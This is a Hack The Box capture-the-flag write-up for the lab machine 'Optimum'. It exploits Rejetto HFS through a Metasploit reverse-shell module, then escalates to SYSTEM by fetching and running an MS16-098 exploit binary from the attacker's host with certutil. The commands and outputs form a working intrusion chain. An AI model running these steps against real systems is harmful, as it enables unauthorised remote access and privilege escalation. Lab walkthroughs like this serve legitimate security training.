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HTB – Optimum

starting with nmap scan as always default with Version Detection( -sV )

┌─[✗]─[chris@parrot]─[~]
└──╼ $nmap -sVC 10.10.10.8
Starting Nmap 7.91 ( https://nmap.org ) at 2021-04-15 11:20 CEST
Nmap scan report for 10.10.10.8
Host is up (0.065s latency).
Not shown: 999 filtered ports
PORT   STATE SERVICE VERSION
80/tcp open  http    HttpFileServer httpd 2.3
|_http-server-header: HFS 2.3
|_http-title: HFS /
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.98 seconds

only port 80 with a well-known application „rejetto httpfileserver“ for the RCE I know 2 ways 1 with the CVE-2014-6287 (https://www.exploit-db.com/exploits/49125) and the second with the msf module (exploit/windows/http/rejetto_hfs_exec) for now I took the easy way with msf.

msf6 exploit(windows/http/rejetto_hfs_exec) > show options

Module options (exploit/windows/http/rejetto_hfs_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   HTTPDELAY  10               no        Seconds to wait before terminating web server
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.8       yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SRVHOST    0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machi
                                         ne or 0.0.0.0 to listen on all addresses.
   SRVPORT    8080             yes       The local port to listen on.
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       The path of the web application
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host

msf6 exploit(windows/http/rejetto_hfs_exec) > run

[*] Started reverse TCP handler on 10.10.14.2:4444 
[*] Using URL: http://0.0.0.0:8080/KLCplJ
[*] Local IP: http://192.168.1.223:8080/KLCplJ
[*] Server started.
[*] Sending a malicious request to /
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
/usr/share/metasploit-framework/modules/exploits/windows/http/rejetto_hfs_exec.rb:110: warning: URI.escape is obsolete
[*] Payload request received: /KLCplJ
[*] Sending stage (175174 bytes) to 10.10.10.8
[!] Tried to delete %TEMP%\ygsoqbsmEzFq.vbs, unknown result
[*] Meterpreter session 1 opened (10.10.14.2:4444 -> 10.10.10.8:49203) at 2021-04-15 11:30:46 +0200
[*] Server stopped.

meterpreter > shell
Process 1436 created.
Channel 2 created.
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kostas\Desktop>whoami
whoami
optimum\kostas

C:\Users\kostas\Desktop>

and here we goo 🙂 now you can get the user flag on the desktop, to get root I checked the systeminfo and scanned it with windows-exploit-suggester.py

─[root@parrot]─[/home/chris/WINENUM/Windows-Exploit-Suggester]
└──╼ #python2 windows-exploit-suggester.py --database 2021-03-19-mssb.xls --systeminfo sysinfo.txt 
[*] initiating winsploit version 3.3...
[*] database file detected as xls or xlsx based on extension
[*] attempting to read from the systeminfo input file
[+] systeminfo input file read successfully (utf-8)
[*] querying database file for potential vulnerabilities
[*] comparing the 32 hotfix(es) against the 266 potential bulletins(s) with a database of 137 known exploits
[*] there are now 246 remaining vulns
[+] [E] exploitdb PoC, [M] Metasploit module, [*] missing bulletin
[+] windows version identified as 'Windows 2012 R2 64-bit'
[*] 
[E] MS16-135: Security Update for Windows Kernel-Mode Drivers (3199135) - Important
[*]   https://www.exploit-db.com/exploits/40745/ -- Microsoft Windows Kernel - win32k Denial of Service (MS16-135)
[*]   https://www.exploit-db.com/exploits/41015/ -- Microsoft Windows Kernel - 'win32k.sys' 'NtSetWindowLongPtr' Privilege Escalation (MS16-135) (2)
[*]   https://github.com/tinysec/public/tree/master/CVE-2016-7255
[*] 
[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*]   https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[*] 
[M] MS16-075: Security Update for Windows SMB Server (3164038) - Important
[*]   https://github.com/foxglovesec/RottenPotato
[*]   https://github.com/Kevin-Robertson/Tater
[*]   https://bugs.chromium.org/p/project-zero/issues/detail?id=222 -- Windows: Local WebDAV NTLM Reflection Elevation of Privilege
[*]   https://foxglovesecurity.com/2016/01/16/hot-potato/ -- Hot Potato - Windows Privilege Escalation
[*] 
[E] MS16-074: Security Update for Microsoft Graphics Component (3164036) - Important
[*]   https://www.exploit-db.com/exploits/39990/ -- Windows - gdi32.dll Multiple DIB-Related EMF Record Handlers Heap-Based Out-of-Bounds Reads/Memory Disclosure (MS16-074), PoC
[*]   https://www.exploit-db.com/exploits/39991/ -- Windows Kernel - ATMFD.DLL NamedEscape 0x250C Pool Corruption (MS16-074), PoC
[*] 
[E] MS16-063: Cumulative Security Update for Internet Explorer (3163649) - Critical
[*]   https://www.exploit-db.com/exploits/39994/ -- Internet Explorer 11 - Garbage Collector Attribute Type Confusion (MS16-063), PoC
[*] 
[E] MS16-032: Security Update for Secondary Logon to Address Elevation of Privile (3143141) - Important
[*]   https://www.exploit-db.com/exploits/40107/ -- MS16-032 Secondary Logon Handle Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39574/ -- Microsoft Windows 8.1/10 - Secondary Logon Standard Handles Missing Sanitization Privilege Escalation (MS16-032), PoC
[*]   https://www.exploit-db.com/exploits/39719/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (PowerShell), PoC
[*]   https://www.exploit-db.com/exploits/39809/ -- Microsoft Windows 7-10 & Server 2008-2012 (x32/x64) - Local Privilege Escalation (MS16-032) (C#)
[*] 
[M] MS16-016: Security Update for WebDAV to Address Elevation of Privilege (3136041) - Important
[*]   https://www.exploit-db.com/exploits/40085/ -- MS16-016 mrxdav.sys WebDav Local Privilege Escalation, MSF
[*]   https://www.exploit-db.com/exploits/39788/ -- Microsoft Windows 7 - WebDAV Privilege Escalation Exploit (MS16-016) (2), PoC
[*]   https://www.exploit-db.com/exploits/39432/ -- Microsoft Windows 7 SP1 x86 - WebDAV Privilege Escalation (MS16-016) (1), PoC
[*] 
[E] MS16-014: Security Update for Microsoft Windows to Address Remote Code Execution (3134228) - Important
[*]   Windows 7 SP1 x86 - Privilege Escalation (MS16-014), https://www.exploit-db.com/exploits/40039/, PoC
[*] 
[E] MS16-007: Security Update for Microsoft Windows to Address Remote Code Execution (3124901) - Important
[*]   https://www.exploit-db.com/exploits/39232/ -- Microsoft Windows devenum.dll!DeviceMoniker::Load() - Heap Corruption Buffer Underflow (MS16-007), PoC
[*]   https://www.exploit-db.com/exploits/39233/ -- Microsoft Office / COM Object DLL Planting with WMALFXGFXDSP.dll (MS-16-007), PoC
[*] 
[E] MS15-132: Security Update for Microsoft Windows to Address Remote Code Execution (3116162) - Important
[*]   https://www.exploit-db.com/exploits/38968/ -- Microsoft Office / COM Object DLL Planting with comsvcs.dll Delay Load of mqrt.dll (MS15-132), PoC
[*]   https://www.exploit-db.com/exploits/38918/ -- Microsoft Office / COM Object els.dll DLL Planting (MS15-134), PoC
[*] 
[E] MS15-112: Cumulative Security Update for Internet Explorer (3104517) - Critical
[*]   https://www.exploit-db.com/exploits/39698/ -- Internet Explorer 9/10/11 - CDOMStringDataList::InitFromString Out-of-Bounds Read (MS15-112)
[*] 
[E] MS15-111: Security Update for Windows Kernel to Address Elevation of Privilege (3096447) - Important
[*]   https://www.exploit-db.com/exploits/38474/ -- Windows 10 Sandboxed Mount Reparse Point Creation Mitigation Bypass (MS15-111), PoC
[*] 
[E] MS15-102: Vulnerabilities in Windows Task Management Could Allow Elevation of Privilege (3089657) - Important
[*]   https://www.exploit-db.com/exploits/38202/ -- Windows CreateObjectTask SettingsSyncDiagnostics Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38200/ -- Windows Task Scheduler DeleteExpiredTaskAfter File Deletion Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38201/ -- Windows CreateObjectTask TileUserBroker Privilege Escalation, PoC
[*] 
[E] MS15-097: Vulnerabilities in Microsoft Graphics Component Could Allow Remote Code Execution (3089656) - Critical
[*]   https://www.exploit-db.com/exploits/38198/ -- Windows 10 Build 10130 - User Mode Font Driver Thread Permissions Privilege Escalation, PoC
[*]   https://www.exploit-db.com/exploits/38199/ -- Windows NtUserGetClipboardAccessToken Token Leak, PoC
[*] 
[M] MS15-078: Vulnerability in Microsoft Font Driver Could Allow Remote Code Execution (3079904) - Critical
[*]   https://www.exploit-db.com/exploits/38222/ -- MS15-078 Microsoft Windows Font Driver Buffer Overflow
[*] 
[E] MS15-052: Vulnerability in Windows Kernel Could Allow Security Feature Bypass (3050514) - Important
[*]   https://www.exploit-db.com/exploits/37052/ -- Windows - CNG.SYS Kernel Security Feature Bypass PoC (MS15-052), PoC
[*] 
[M] MS15-051: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (3057191) - Important
[*]   https://github.com/hfiref0x/CVE-2015-1701, Win32k Elevation of Privilege Vulnerability, PoC
[*]   https://www.exploit-db.com/exploits/37367/ -- Windows ClientCopyImage Win32k Exploit, MSF
[*] 
[E] MS15-010: Vulnerabilities in Windows Kernel-Mode Driver Could Allow Remote Code Execution (3036220) - Critical
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows 8.1 - win32k Local Privilege Escalation (MS15-010), PoC
[*]   https://www.exploit-db.com/exploits/37098/ -- Microsoft Windows - Local Privilege Escalation (MS15-010), PoC
[*]   https://www.exploit-db.com/exploits/39035/ -- Microsoft Windows win32k Local Privilege Escalation (MS15-010), PoC
[*] 
[E] MS15-001: Vulnerability in Windows Application Compatibility Cache Could Allow Elevation of Privilege (3023266) - Important
[*]   http://www.exploit-db.com/exploits/35661/ -- Windows 8.1 (32/64 bit) - Privilege Escalation (ahcache.sys/NtApphelpCacheControl), PoC
[*] 
[E] MS14-068: Vulnerability in Kerberos Could Allow Elevation of Privilege (3011780) - Critical
[*]   http://www.exploit-db.com/exploits/35474/ -- Windows Kerberos - Elevation of Privilege (MS14-068), PoC
[*] 
[M] MS14-064: Vulnerabilities in Windows OLE Could Allow Remote Code Execution (3011443) - Critical
[*]   https://www.exploit-db.com/exploits/37800// -- Microsoft Windows HTA (HTML Application) - Remote Code Execution (MS14-064), PoC
[*]   http://www.exploit-db.com/exploits/35308/ -- Internet Explorer OLE Pre-IE11 - Automation Array Remote Code Execution / Powershell VirtualAlloc (MS14-064), PoC
[*]   http://www.exploit-db.com/exploits/35229/ -- Internet Explorer <= 11 - OLE Automation Array Remote Code Execution (#1), PoC
[*]   http://www.exploit-db.com/exploits/35230/ -- Internet Explorer < 11 - OLE Automation Array Remote Code Execution (MSF), MSF
[*]   http://www.exploit-db.com/exploits/35235/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution Through Python, MSF
[*]   http://www.exploit-db.com/exploits/35236/ -- MS14-064 Microsoft Windows OLE Package Manager Code Execution, MSF
[*] 
[M] MS14-060: Vulnerability in Windows OLE Could Allow Remote Code Execution (3000869) - Important
[*]   http://www.exploit-db.com/exploits/35055/ -- Windows OLE - Remote Code Execution 'Sandworm' Exploit (MS14-060), PoC
[*]   http://www.exploit-db.com/exploits/35020/ -- MS14-060 Microsoft Windows OLE Package Manager Code Execution, MSF
[*] 
[M] MS14-058: Vulnerabilities in Kernel-Mode Driver Could Allow Remote Code Execution (3000061) - Critical
[*]   http://www.exploit-db.com/exploits/35101/ -- Windows TrackPopupMenu Win32k NULL Pointer Dereference, MSF
[*] 
[E] MS13-101: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Elevation of Privilege (2880430) - Important
[M] MS13-090: Cumulative Security Update of ActiveX Kill Bits (2900986) - Critical
[*] done

after looking thru all the vulnerabilitys i use the MS16-098.

[E] MS16-098: Security Update for Windows Kernel-Mode Drivers (3178466) - Important
[*]   https://www.exploit-db.com/exploits/41020/ -- Microsoft Windows 8.1 (x64) - RGNOBJ Integer Overflow (MS16-098)
[*] 
Microsoft Windows 8.1 (x64) - 'RGNOBJ' Integer Overflow (MS16-098)

the binary can you get from : https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits/

Downloading to my parrot os / run http server and download with the target machine.

C:\Users\kostas\Desktop>certutil.exe -urlcache -split -f "http://10.10.14.2/41020.exe" 41020.exe
certutil.exe -urlcache -split -f "http://10.10.14.2/41020.exe" 41020.exe
****  Online  ****
  000000  ...
  088c00
CertUtil: -URLCache command completed successfully.

C:\Users\kostas\Desktop>41020.exe
41020.exe
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\kostas\Desktop>whoami
whoami
nt authority\system

wayy to easyy to root now you can get the root.txt from the administrator desktop and you are done.

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